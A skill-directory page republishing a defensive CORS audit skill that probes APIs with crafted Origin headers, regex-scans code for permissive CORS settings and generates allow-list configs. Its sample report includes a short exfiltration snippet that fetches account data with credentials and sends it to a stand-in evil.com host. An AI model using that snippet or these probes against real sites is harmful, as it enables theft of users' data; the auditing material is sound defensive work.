Agent skill

Phy Cors Audit

by LeoYeAI in LeoYeAI/openclaw-master-skills

CORS (Cross-Origin Resource Sharing) misconfiguration auditor.

Apache-2.0Auto-check passedBackend & APIs

Install Phy Cors Audit

skills CLI
$ npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install LeoYeAI/openclaw-master-skills phy-cors-audit --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/LeoYeAI/openclaw-master-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/phy-cors-audit .claude/skills/phy-cors-audit && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
phy-cors-audit
GitHub stars
2.2k
Token cost
~6.7k tokens
SKILL.md length
330 words
Files
2
Skills in repo
1,235
Repo updated
First seen
Licence
Apache-2.0

At a glance

CORS (Cross-Origin Resource Sharing) misconfiguration auditor.

  • Works in 4 steps: Probe CORS Configuration → Scan Source Code for CORS… → Generate Correct CORS Config → …
  • CORS misconfiguration
  • SKILL.md covers Trigger Phrases, How to Provide Input, Step 1: Probe CORS Configuration and Step 2: Scan Source Code for…, plus 2 more sections
  • Calls curl; reaches completely-unrelated.com and canlah.ai; needs WILDCARD_WITH_CREDENTIALS and CORS_ALLOW_CREDENTIALS

What it does

Phy Cors Audit is an agent skill from LeoYeAI/openclaw-master-skills. CORS (Cross-Origin Resource Sharing) misconfiguration auditor. Probes any API endpoint with crafted Origin headers to detect the most dangerous CORS vulnerabilities — reflecting arbitrary Origins (any attacker.com gets CORS approved), Access-Control-Allow-Credentials:true with wildcard ACAO, null-Origin allowed (iframe/file:// bypass), subdomain regex bypasses (evil.myapp.com passes), missing Vary:Origin (CDN cache poisoning), and permissive preflight responses. Also scans source code for insecure CORS middleware…

Its SKILL.md is about 6.7k tokens, which your agent loads only when the skill is triggered. The skill folder holds 1 other file (for example `_meta.json`).

It sits in Backend & APIs, covering Backend development, Authorization and RBAC and Web application vulnerabilities. It works with Django and FastAPI. The repository describes itself as: 🧠 Curated collection of 1209+ best OpenClaw skills — weekly updated by MyClaw.ai. The licence is Apache-2.0.

When your agent uses it

  • CORS misconfiguration
  • Access-Control-Allow-Origin

Example prompts

  • “CORS error”
  • “CORS misconfiguration”
  • “Access-Control-Allow-Origin”
  • “/phy-cors-audit”

Requirements

  • Python 3

Workflow steps

4 steps, taken from the step headings in SKILL.md.

  1. Probe CORS Configuration
  2. Scan Source Code for CORS Misconfigurations
  3. Generate Correct CORS Config
  4. Output Report

What it can do on your machine

Read from SKILL.md and the folder at commit e5199b5. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • completely-unrelated.com
    • canlah.ai
    • github.com
    • clawhub.ai

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names these keys or tokens, usually read from environment variables:

    • WILDCARD_WITH_CREDENTIALS
    • CORS_ALLOW_CREDENTIALS

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Phy Cors Audit loads about 6.7k tokens when it runs. Until then it costs about 211 tokens; SKILL.md has 330 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~211
When it runs · the whole SKILL.md, loaded when a task matches
~6.7k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from LeoYeAI/openclaw-master-skills at commit e5199b5, republished under its Apache-2.0 licence (© LeoYeAI). 330 words, ~6,668 tokens.

Download SKILL.mdSave it as .claude/skills/phy-cors-audit/SKILL.md (or your agent's skills folder). This skill also uses 1 other file; get the full folder from GitHub.
name
phy-cors-audit
description
CORS (Cross-Origin Resource Sharing) misconfiguration auditor. Probes any API endpoint with crafted Origin headers to detect the most dangerous CORS vulnerabilities — reflecting arbitrary Origins (any attacker.com gets CORS approved), Access-Control-Allow-Credentials:true with wildcard ACAO, null-Origin allowed (iframe/file:// bypass), subdomain regex bypasses (evil.myapp.com passes), missing Vary:Origin (CDN cache poisoning), and permissive preflight responses. Also scans source code for insecure CORS middleware patterns (Express/FastAPI/Go/Rails/Django/Spring). Generates correct CORS configuration for your specific stack. Works against any live URL via curl — zero external API. Triggers on "CORS error", "CORS misconfiguration", "Access-Control-Allow-Origin", "cors policy", "preflight", "cors blocked", "/cors-audit".
license
Apache-2.0
homepage
https://canlah.ai
metadata.author
Canlah AI
metadata.version
1.0.2
metadata.tags
security, cors, api-security, owasp, web-security, developer-tools, express, fastapi, static-analysis, http-headers

CORS Audit

Access to fetch at 'https://api.myapp.com' from origin 'https://evil.com' has been set with CORS policy: No 'Access-Control-Allow-Origin'

Then you add Access-Control-Allow-Origin: * and it works. Except now your API accepts requests from every site on the internet, with every user's credentials, if you forgot to check the credentials flag.

This skill probes your CORS configuration with crafted Origin headers, finds the misconfigurations that let attackers run authenticated cross-origin requests against your users, and generates the correct allow-list config for your stack.

Works against any live URL via curl. Scans Express/FastAPI/Go/Rails/Django source. Zero external API.


Trigger Phrases

  • "CORS error", "CORS blocked", "CORS not working"
  • "CORS misconfiguration", "cors security"
  • "Access-Control-Allow-Origin", "ACAO"
  • "cors policy", "preflight OPTIONS"
  • "cors wildcard", "cors credentials"
  • "/cors-audit"

How to Provide Input

bash
# Option 1: Probe a live API endpoint
/cors-audit https://api.myapp.com/users

# Option 2: Probe with specific origin
/cors-audit https://api.myapp.com --origin https://evil.com

# Option 3: Full probe battery (all known bypasses)
/cors-audit https://api.myapp.com --full

# Option 4: Scan source code for CORS misconfigurations
/cors-audit --scan src/

# Option 5: Generate correct CORS config for your stack
/cors-audit --generate express --allowed-origins https://myapp.com,https://staging.myapp.com

# Option 6: CI mode (exit 1 on critical findings)
/cors-audit https://api.myapp.com --ci

# Option 7: Audit multiple endpoints at once
/cors-audit --endpoints /api/users,/api/orders,/api/admin --base https://api.myapp.com

Step 1: Probe CORS Configuration

python
import subprocess
import re
from dataclasses import dataclass, field
from typing import Optional
from urllib.parse import urlparse


@dataclass
class CorsProbeResult:
    probe_name: str
    origin_sent: str
    acao: Optional[str]          # Access-Control-Allow-Origin
    acac: Optional[str]          # Access-Control-Allow-Credentials
    acam: Optional[str]          # Access-Control-Allow-Methods
    acah: Optional[str]          # Access-Control-Allow-Headers
    vary: Optional[str]          # Vary header
    status_code: int
    is_vulnerable: bool
    severity: str
    issue: str
    fix: str


def probe_cors(url: str, origin: str, method: str = 'GET') -> dict:
    """Send a single CORS probe and return response headers."""
    result = subprocess.run(
        ['curl', '-sI', '-X', method, url,
         '-H', f'Origin: {origin}',
         '-H', 'Content-Type: application/json',
         '--max-time', '10',
         '--user-agent', 'CorsAuditor/1.0'],
        capture_output=True, text=True
    )
    headers = {}
    status_code = 200
    for line in result.stdout.splitlines():
        if line.startswith('HTTP/'):
            try:
                status_code = int(line.split()[1])
            except (IndexError, ValueError):
                pass
        elif ':' in line:
            key, _, value = line.partition(':')
            headers[key.strip().lower()] = value.strip()
    return {'headers': headers, 'status_code': status_code, 'raw': result.stdout}


def run_cors_battery(url: str) -> list[CorsProbeResult]:
    """
    Run the full battery of CORS probes against a URL.
    Tests all known CORS misconfiguration patterns.
    """
    parsed = urlparse(url)
    base_domain = parsed.netloc  # e.g. api.myapp.com

    # Derive legitimate origin (for baseline)
    legitimate_origin = f'{parsed.scheme}://{base_domain.replace("api.", "")}'

    # Build the probe set
    probes = [
        {
            'name': 'arbitrary_origin_evil',
            'origin': 'https://evil.com',
            'description': 'Random attacker origin',
        },
        {
            'name': 'null_origin',
            'origin': 'null',
            'description': 'null origin (file://, sandboxed iframe)',
        },
        {
            'name': 'subdomain_bypass',
            'origin': f'https://evil.{base_domain}',
            'description': f'Subdomain of target: evil.{base_domain}',
        },
        {
            'name': 'prefix_bypass',
            'origin': f'https://{base_domain}.evil.com',
            'description': f'Domain that contains target as prefix: {base_domain}.evil.com',
        },
        {
            'name': 'http_downgrade',
            'origin': f'http://{base_domain}',
            'description': f'HTTP version of same domain: http://{base_domain}',
        },
        {
            'name': 'legitimate_origin',
            'origin': legitimate_origin,
            'description': f'Legitimate origin: {legitimate_origin}',
        },
        {
            'name': 'wildcard_check',
            'origin': 'https://completely-unrelated.com',
            'description': 'Completely unrelated domain',
        },
    ]

    results = []

    for probe in probes:
        resp = probe_cors(url, probe['origin'])
        headers = resp['headers']
        acao = headers.get('access-control-allow-origin')
        acac = headers.get('access-control-allow-credentials', '').lower()
        vary = headers.get('vary', '')

        # Analyze the response
        is_vulnerable = False
        severity = 'INFO'
        issue = ''
        fix = ''

        if not acao:
            # No CORS headers — either not configured or blocked
            if probe['name'] == 'legitimate_origin':
                issue = 'No CORS headers returned for legitimate origin'
                severity = 'INFO'
            else:
                issue = 'Request blocked (no ACAO header) ✅'
                severity = 'PASS'
        elif acao == '*':
            if acac == 'true':
                # IMPOSSIBLE combination per spec, but some servers misconfigure this
                is_vulnerable = True
                severity = 'CRITICAL'
                issue = 'Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true — browsers reject this, but some HTTP clients do not'
                fix = 'Never use wildcard with credentials. Specify exact origins: Access-Control-Allow-Origin: https://myapp.com'
            else:
                if probe['name'] in ('arbitrary_origin_evil', 'wildcard_check'):
                    severity = 'HIGH'
                    is_vulnerable = True
                    issue = 'Wildcard ACAO (*) — any origin can make unauthenticated cross-origin requests'
                    fix = 'Replace * with an explicit allowlist. Wildcard is safe only for fully public, unauthenticated APIs.'
                else:
                    severity = 'MEDIUM'
                    issue = 'Wildcard ACAO — acceptable only if API requires no authentication'
                    fix = 'Confirm this endpoint has no authentication. If it does, restrict ACAO to specific origins.'
        elif acao == probe['origin']:
            # Origin is reflected — check if this is intentional
            if probe['name'] == 'legitimate_origin':
                severity = 'PASS'
                issue = f'Origin correctly reflected for legitimate origin ✅'
                # Check for Vary: Origin
                if 'origin' not in vary.lower():
                    severity = 'MEDIUM'
                    is_vulnerable = True
                    issue = 'ACAO reflects Origin but Vary: Origin missing — CDN/proxy may cache and serve wrong CORS response'
                    fix = 'Add Vary: Origin header whenever ACAO is dynamically set'
            elif probe['name'] == 'null_origin':
                is_vulnerable = True
                severity = 'HIGH'
                issue = 'null Origin is allowed — attackers can bypass CORS from sandboxed iframes or file:// pages'
                fix = 'Remove null from your CORS allowlist. null origin is never legitimate from a web application.'
            elif probe['name'] == 'arbitrary_origin_evil':
                is_vulnerable = True
                severity = 'CRITICAL'
                issue = 'Server reflects ANY Origin in ACAO — any website can make cross-origin requests as your users'
                fix = (
                    'Replace origin reflection with an explicit allowlist check:\n'
                    '  const allowed = ["https://myapp.com", "https://staging.myapp.com"];\n'
                    '  if (allowed.includes(req.headers.origin)) {\n'
                    '    res.setHeader("Access-Control-Allow-Origin", req.headers.origin);\n'
                    '  }'
                )
            elif probe['name'] == 'subdomain_bypass':
                is_vulnerable = True
                severity = 'HIGH'
                issue = f'Subdomain "{probe["origin"]}" is allowed — regex/suffix match is too permissive'
                fix = 'Use exact string comparison, not endsWith() or regex match. evil.myapp.com ≠ myapp.com.'
            elif probe['name'] == 'prefix_bypass':
                is_vulnerable = True
                severity = 'HIGH'
                issue = f'Prefix match allows "{probe["origin"]}" — regex startsWith match is too permissive'
                fix = 'Do not use startsWith() for origin validation. Use an explicit exact-match allowlist.'
            elif probe['name'] == 'http_downgrade':
                is_vulnerable = True
                severity = 'MEDIUM'
                issue = f'HTTP version of your domain is allowed — enables MitM + CORS bypass'
                fix = 'Only allow HTTPS origins. Remove http:// variants from your CORS allowlist.'
        else:
            # ACAO is a fixed value that doesn't match probe origin — correctly blocked
            issue = f'Request correctly blocked (ACAO: {acao}) ✅'
            severity = 'PASS'

        results.append(CorsProbeResult(
            probe_name=probe['name'],
            origin_sent=probe['origin'],
            acao=acao,
            acac=headers.get('access-control-allow-credentials'),
            acam=headers.get('access-control-allow-methods'),
            acah=headers.get('access-control-allow-headers'),
            vary=vary,
            status_code=resp['status_code'],
            is_vulnerable=is_vulnerable,
            severity=severity,
            issue=issue,
            fix=fix,
        ))

    return results


def probe_preflight(url: str, origin: str = 'https://evil.com') -> CorsProbeResult:
    """Test OPTIONS preflight response."""
    resp = probe_cors(url, origin, method='OPTIONS')
    headers = resp['headers']
    acao = headers.get('access-control-allow-origin')
    acam = headers.get('access-control-allow-methods', '')
    acah = headers.get('access-control-allow-headers', '')

    is_vulnerable = False
    severity = 'INFO'
    issue = ''
    fix = ''

    if acao == '*' or acao == origin:
        if 'delete' in acam.lower() or 'put' in acam.lower() or 'patch' in acam.lower():
            is_vulnerable = True
            severity = 'HIGH'
            issue = f'Preflight allows mutating methods ({acam}) from untrusted origins'
            fix = 'Restrict Access-Control-Allow-Methods to only GET, POST for public origins. Require auth for write methods.'
        if 'authorization' in acah.lower() and (acao == '*' or acao == 'https://evil.com'):
            is_vulnerable = True
            severity = 'HIGH'
            issue = 'Preflight allows Authorization header from untrusted origin — credential forwarding enabled'
            fix = 'Only allow Authorization header from your specific trusted origins.'

    return CorsProbeResult(
        probe_name='preflight',
        origin_sent=origin,
        acao=acao, acac=None, acam=acam, acah=acah, vary=headers.get('vary', ''),
        status_code=resp['status_code'],
        is_vulnerable=is_vulnerable, severity=severity, issue=issue, fix=fix,
    )

Step 2: Scan Source Code for CORS Misconfigurations

python
import re
import glob
from pathlib import Path

SKIP_DIRS = {'node_modules', '.git', 'dist', 'build', '__pycache__',
             '.next', 'vendor', 'venv', '.venv'}

CODE_PATTERNS = [

    # Express cors() with no options = allow all origins
    {
        'name': 'EXPRESS_CORS_NO_OPTIONS',
        'pattern': re.compile(r'app\.use\s*\(\s*cors\s*\(\s*\)\s*\)', re.I),
        'severity': 'HIGH',
        'message': 'cors() with no options — allows ANY origin',
        'fix': (
            "app.use(cors({\n"
            "  origin: ['https://myapp.com', 'https://staging.myapp.com'],\n"
            "  credentials: true,\n"
            "}));"
        ),
    },

    # origin: '*' with credentials
    {
        'name': 'WILDCARD_WITH_CREDENTIALS',
        'pattern': re.compile(r"origin\s*:\s*['\"]?\*['\"]?", re.I),
        'check': lambda line, ctx: 'credentials' in ctx and 'true' in ctx,
        'severity': 'CRITICAL',
        'message': "origin: '*' with credentials: true — insecure combination",
        'fix': "Use explicit origin allowlist with credentials, never wildcard.",
    },

    # Reflecting req.headers.origin without allowlist check
    {
        'name': 'ORIGIN_REFLECTION',
        'pattern': re.compile(
            r'(?:Access-Control-Allow-Origin|ACAO)\s*[=:,]\s*req\.(?:headers?\.origin|get\([\'"]origin)',
            re.I
        ),
        'severity': 'CRITICAL',
        'message': 'Directly reflecting req.headers.origin without allowlist check',
        'fix': (
            "const ALLOWED = new Set(['https://myapp.com']);\n"
            "const origin = req.headers.origin;\n"
            "if (ALLOWED.has(origin)) res.setHeader('Access-Control-Allow-Origin', origin);"
        ),
    },

    # Python: CORS_ORIGINS = "*" or origins="*"
    {
        'name': 'PYTHON_CORS_WILDCARD',
        'pattern': re.compile(
            r'(?:CORS_ORIGINS|allow_origins|origins)\s*[=:]\s*["\'\[]\s*["\']?\*["\']?',
            re.I
        ),
        'severity': 'HIGH',
        'message': 'Python CORS wildcard origin — allows requests from any website',
        'fix': "allow_origins=['https://myapp.com', 'https://staging.myapp.com']",
    },

    # Go: AllowAllOrigins: true
    {
        'name': 'GO_ALLOW_ALL_ORIGINS',
        'pattern': re.compile(r'AllowAllOrigins\s*:\s*true', re.I),
        'severity': 'HIGH',
        'message': 'AllowAllOrigins: true in Go CORS config',
        'fix': "Replace with AllowOrigins: []string{\"https://myapp.com\"}",
    },

    # Rails: origins '*'
    {
        'name': 'RAILS_CORS_WILDCARD',
        'pattern': re.compile(r"origins\s+['\"]?\*['\"]?", re.I),
        'severity': 'HIGH',
        'message': "Rails cors: origins '*' — any domain allowed",
        'fix': "origins 'https://myapp.com', 'https://staging.myapp.com'",
    },

    # Spring: @CrossOrigin without origins
    {
        'name': 'SPRING_CROSSORIGIN_ANY',
        'pattern': re.compile(r'@CrossOrigin\s*(?!\s*\(origins)', re.I),
        'severity': 'HIGH',
        'message': '@CrossOrigin with no origins specified — defaults to all origins (*)',
        'fix': '@CrossOrigin(origins = "https://myapp.com")',
    },

    # Django: CORS_ALLOW_ALL_ORIGINS = True
    {
        'name': 'DJANGO_CORS_ALL',
        'pattern': re.compile(r'CORS_ALLOW_ALL_ORIGINS\s*=\s*True', re.I),
        'severity': 'HIGH',
        'message': 'Django CORS_ALLOW_ALL_ORIGINS = True — allows requests from any website',
        'fix': (
            "CORS_ALLOW_ALL_ORIGINS = False\n"
            "CORS_ALLOWED_ORIGINS = ['https://myapp.com']"
        ),
    },

    # endsWith / includes check for origin (bypassable)
    {
        'name': 'CORS_ENDSWITH_CHECK',
        'pattern': re.compile(
            r'origin\s*(?:&&)?\s*origin\.(?:endsWith|includes|indexOf|match)',
            re.I
        ),
        'severity': 'HIGH',
        'message': 'Origin check using endsWith/includes — bypassable with evil.myapp.com or myapp.com.evil.com',
        'fix': (
            "Use exact Set membership:\n"
            "  const ALLOWED = new Set(['https://myapp.com']);\n"
            "  if (ALLOWED.has(origin)) { // safe exact match }"
        ),
    },
]


def scan_cors_code(src_dir: str = '.') -> list[dict]:
    """Scan source files for insecure CORS patterns."""
    findings = []

    for ext in ['.js', '.ts', '.jsx', '.tsx', '.py', '.go', '.java', '.rb']:
        for fpath in glob.glob(f'{src_dir}/**/*{ext}', recursive=True):
            if any(skip in fpath for skip in SKIP_DIRS):
                continue
            try:
                content = Path(fpath).read_text(errors='replace')
                lines = content.splitlines()
            except Exception:
                continue

            for i, line in enumerate(lines, 1):
                for p in CODE_PATTERNS:
                    if p['pattern'].search(line):
                        ctx_start = max(0, i - 3)
                        ctx_end = min(len(lines), i + 8)
                        context = '\n'.join(lines[ctx_start:ctx_end])

                        check_fn = p.get('check')
                        if check_fn and not check_fn(line, context):
                            continue

                        findings.append({
                            'file': fpath,
                            'line': i,
                            'code': line.strip()[:120],
                            'name': p['name'],
                            'severity': p['severity'],
                            'message': p['message'],
                            'fix': p['fix'],
                        })

    return findings

Step 3: Generate Correct CORS Config

python
def generate_cors_config(
    allowed_origins: list[str],
    allow_credentials: bool = True,
    allowed_methods: list[str] = None,
    allowed_headers: list[str] = None,
    stack: str = 'express',
) -> str:
    """Generate secure CORS configuration for the specified stack."""

    methods = allowed_methods or ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']
    headers = allowed_headers or ['Content-Type', 'Authorization']
    origins_list = ', '.join(f'"{o}"' for o in allowed_origins)

    configs = {
        'express': f'''// Express.js (npm install cors)
const cors = require('cors');

const ALLOWED_ORIGINS = new Set([{origins_list}]);

app.use(cors({{
  origin: (origin, callback) => {{
    // Allow requests with no origin (server-to-server, curl)
    if (!origin || ALLOWED_ORIGINS.has(origin)) {{
      callback(null, true);
    }} else {{
      callback(new Error(`Origin ${{origin}} not allowed by CORS`));
    }}
  }},
  credentials: {str(allow_credentials).lower()},
  methods: {methods},
  allowedHeaders: {headers},
}}));

// Always respond to preflight
app.options('*', cors());''',

        'fastapi': f'''# FastAPI (pip install fastapi)
from fastapi.middleware.cors import CORSMiddleware

ALLOWED_ORIGINS = [{", ".join(f'"{o}"' for o in allowed_origins)}]

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,
    allow_credentials={str(allow_credentials)},
    allow_methods={methods},
    allow_headers={headers},
)''',

        'nginx': f'''# nginx — add to server block
map $http_origin $cors_origin {{
  default "";
{chr(10).join(f'  "{o}" "{o}";' for o in allowed_origins)}
}}

server {{
  # ... your existing config ...

  location /api/ {{
    if ($cors_origin != "") {{
      add_header Access-Control-Allow-Origin $cors_origin always;
      add_header Access-Control-Allow-Credentials {str(allow_credentials).lower()} always;
      add_header Access-Control-Allow-Methods "{", ".join(methods)}" always;
      add_header Access-Control-Allow-Headers "{", ".join(headers)}" always;
      add_header Vary Origin always;
    }}

    # Handle preflight
    if ($request_method = OPTIONS) {{
      add_header Access-Control-Max-Age 86400;
      return 204;
    }}
  }}
}}''',

        'go': f'''// Go (github.com/gin-contrib/cors or net/http)
import "github.com/gin-contrib/cors"

allowedOrigins := []string{{{", ".join(f'"{o}"' for o in allowed_origins)}}}

config := cors.Config{{
    AllowOrigins:     allowedOrigins,
    AllowMethods:     []string{{{", ".join(f'"{m}"' for m in methods)}}},
    AllowHeaders:     []string{{{", ".join(f'"{h}"' for h in headers)}}},
    AllowCredentials: {str(allow_credentials).lower()},
    ExposeHeaders:    []string{{}},
    MaxAge:           12 * time.Hour,
}}
router.Use(cors.New(config))''',

        'django': f'''# Django (pip install django-cors-headers)
# settings.py
INSTALLED_APPS = [
    ...
    "corsheaders",
]

MIDDLEWARE = [
    "corsheaders.middleware.CorsMiddleware",
    "django.middleware.common.CommonMiddleware",
    ...
]

CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [{", ".join(f'"{o}"' for o in allowed_origins)}]
CORS_ALLOW_CREDENTIALS = {str(allow_credentials)}
CORS_ALLOW_METHODS = {methods}
CORS_ALLOW_HEADERS = {headers}''',
    }

    return configs.get(stack, configs['express'])

Step 4: Output Report

markdown
## CORS Security Audit
Target: https://api.myapp.com | Probes: 7 | Source scan: src/

---

### Probe Results

| Probe | Origin Sent | ACAO Returned | Credentials | Verdict |
|-------|-------------|---------------|-------------|---------|
| Arbitrary evil | https://evil.com | `https://evil.com` | true | 🔴 CRITICAL |
| null origin | null | null | true | 🔴 HIGH |
| Subdomain bypass | https://evil.api.myapp.com | `https://evil.api.myapp.com` | true | 🔴 HIGH |
| Prefix bypass | https://api.myapp.com.evil.com | Not reflected | — | ✅ PASS |
| HTTP downgrade | http://api.myapp.com | `http://api.myapp.com` | true | 🟠 MEDIUM |
| Legitimate origin | https://myapp.com | `https://myapp.com` | true | ✅ PASS |
| Preflight OPTIONS | https://evil.com | `https://evil.com` | — | 🔴 HIGH |

---

### 🔴 CRITICAL — Origin Reflection (any attacker can impersonate users)

**Root cause in `src/middleware/cors.ts:8`:**
```ts
res.setHeader('Access-Control-Allow-Origin', req.headers.origin)
res.setHeader('Access-Control-Allow-Credentials', 'true')

This reflects ANY origin — with credentials. An attacker on evil.com can load:

html
<script>
fetch('https://api.myapp.com/api/account', { credentials: 'include' })
  .then(r => r.json())
  .then(data => fetch('https://evil.com/steal?d=' + JSON.stringify(data)))
</script>

A logged-in user who visits evil.com will have their account data sent to the attacker.

Fix:

ts
const ALLOWED_ORIGINS = new Set(['https://myapp.com', 'https://staging.myapp.com']);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

🔴 HIGH — null Origin Allowed

Verified: curl -H "Origin: null" returns Access-Control-Allow-Origin: null

null is granted by browsers to:

  • <iframe sandbox> without allow-same-origin
  • file:// pages
  • Some data: URIs

An attacker can host a sandboxed iframe that makes authenticated requests to your API.

Fix: Never include null in your origin allowlist.


🔴 HIGH — Subdomain Bypass

evil.api.myapp.com is allowed because your check uses origin.endsWith('.myapp.com'). An attacker can register evil.api.myapp.com (if the subdomain isn't protected by your DNS).

Fix: Replace with exact allowlist (see generated config below).


Generated Secure CORS Config (Express.js)
ts
const ALLOWED_ORIGINS = new Set([
  'https://myapp.com',
  'https://staging.myapp.com',
]);

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`Origin ${origin} not allowed by CORS`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization'],
}));

app.options('*', cors()); // handle preflight

Also add Vary: Origin to prevent CDN caching the wrong ACAO response:

ts
app.use((req, res, next) => {
  res.setHeader('Vary', 'Origin');
  next();
});

CORS Decision Tree (Reference)
Does the API serve public data with no authentication?
  YES → Access-Control-Allow-Origin: *  (safe, no credentials)
  NO  → Use explicit allowlist + credentials:true + Vary:Origin

Does any endpoint need cross-origin auth (cookies/Authorization)?
  YES → Exact allowlist only. Never wildcard with credentials.
  NO  → Wildcard is acceptable for that endpoint

Are you using a CDN or reverse proxy?
  YES → Add Vary: Origin header (prevents cached ACAO poisoning)
  NO  → Still add Vary: Origin (best practice)

---

## Quick Mode Output

CORS Audit: https://api.myapp.com

🔴 CRITICAL: Origin reflection (any origin gets CORS + credentials) 🔴 HIGH: null origin allowed (iframe sandbox bypass) 🔴 HIGH: Subdomain bypass (evil.api.myapp.com passes endsWith check) 🟠 MEDIUM: HTTP origin allowed (http://api.myapp.com) ✅ Prefix bypass blocked

Root cause: cors.ts:8 reflects req.headers.origin without allowlist check Fix: Replace with Set(['https://myapp.com']).has(origin) check Generated config: Express / nginx / FastAPI / Go / Django available


---

## Author

**[Canlah AI](https://canlah.ai)** — Run performance marketing without breaking your brand.

- GitHub: [github.com/PHY041](https://github.com/PHY041)
- All Skills: [clawhub.ai/PHY041](https://clawhub.ai/PHY041)

© LeoYeAI, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 1 other file in skills/phy-cors-audit of LeoYeAI/openclaw-master-skills.

  • SKILL.md
  • _meta.json

Open the folder on GitHubat commit e5199b5

Compare with similar skills

Phy Cors Audit next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Phy Cors Audit compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Phy Cors Audit this skillLeoYeAI/openclaw-master-skills2.2k—~6.7kAutomated safety check: PassApache-2.0
Django Access Reviewgetsentry/skills1k3 repos~2.6kAutomated safety check: NotesApache-2.0
Django Securityaffaan-m/ECC276k5 repos~4kAutomated safety check: NotesMIT
Django Securityaffaan-m/ECC276k1 repos~4.3kAutomated safety check: NotesMIT
Django Securityxu-xiang/everything-claude-code-zh2k—~3.5kAutomated safety check: NotesMIT
Arch Wikiahmedemad3/arch-wiki250—~5.1kAutomated safety check: PassNone

Similar skills

  • Django Access Review

    getsentry/skills

    Official

    Django access control and IDOR security review. An agent skill from getsentry/skills.

    1k GitHub starsUsed in 3 repos~2.6k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    276k GitHub starsUsed in 5 repos~4k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    affaan-m/ECC

    Django security best practices, authentication, authorization, CSRF protection, SQL injection prevention, XSS prevention, and secure deployment configurations.

    276k GitHub starsUsed in 1 repo~4.3k tokens
    Backend & APIsAuto-check: notes
  • Django Security

    xu-xiang/everything-claude-code-zh

    Django 安全最佳实践、身份验证(Authentication)、授权(Authorization)、CSRF 防护、SQL 注入防御、XSS 防御以及安全部署配置。

    2k GitHub stars~3.5k tokensUpdated 7 mo ago
    Backend & APIsAuto-check: notes
  • Arch Wiki

    ahmedemad3/arch-wiki

    Scans any project codebase for new/changed modules, endpoints, middleware, infrastructure, Docker topologies, SQL queries, or permissions and updates docs/architecture/architecture.json.

    250 GitHub stars~5.1k tokensUpdated 21 days ago
    Backend & APIsAuto-check passed
  • Frontmcp Auth UI

    agentfront/frontmcp

    A skill your agent uses when customizing, branding, or replacing the built-in FrontMCP OAuth pages (the login, consent, federated-select, incremental-authorization, and error pages) with your own…

    146 GitHub stars~3.7k tokensUpdated today
    Backend & APIsAuto-check passed

More from LeoYeAI/openclaw-master-skills

All 1,235 skills in this repo
  • DevOps Pipeline Management

    LeoYeAI/openclaw-master-skills

    Manages pipelines on a DevOps quality and efficiency platform through its OpenAPI: list workspaces and templates, create, update, run and cancel pipelines, and read run records.

    2.2k GitHub stars~4.2k tokensUpdated 2 mo ago
    Auto-check: notes
  • Feishu Document Collaboration

    LeoYeAI/openclaw-master-skills

    Patches OpenClaw's Feishu extension so an edited document triggers an isolated agent session that reads the doc and replies inline, turning it into a live chat space.

    2.2k GitHub stars~2k tokensUpdated 2 mo ago
    Auto-check passed
  • Files Memory System

    LeoYeAI/openclaw-master-skills

    Multi-context memory management system for OpenClaw agents with group-isolated storage, global shared memory, workspace organization, and group-specific skills isolation.

    2.2k GitHub stars~3.8k tokensUpdated 2 mo ago
    Auto-check passed
  • GEO-Claw AI Visibility Agent

    LeoYeAI/openclaw-master-skills

    Runs a brand's AI-search visibility work end to end: diagnosing how AI platforms represent it, repositioning it, producing AI-optimized content and monitoring ongoing mentions.

    2.2k GitHub stars~4.7k tokensUpdated 2 mo ago
    Auto-check passed
  • Google Workspace CLI

    LeoYeAI/openclaw-master-skills

    Installs and authenticates the gws CLI, then automates Gmail, Drive, Sheets, Calendar, Docs, Chat and Tasks with ready-made recipes, persona bundles and security audits.

    2.2k GitHub stars~2.6k tokensUpdated 2 mo ago
    Auto-check: notes
  • HealthFit Health Advisors

    LeoYeAI/openclaw-master-skills

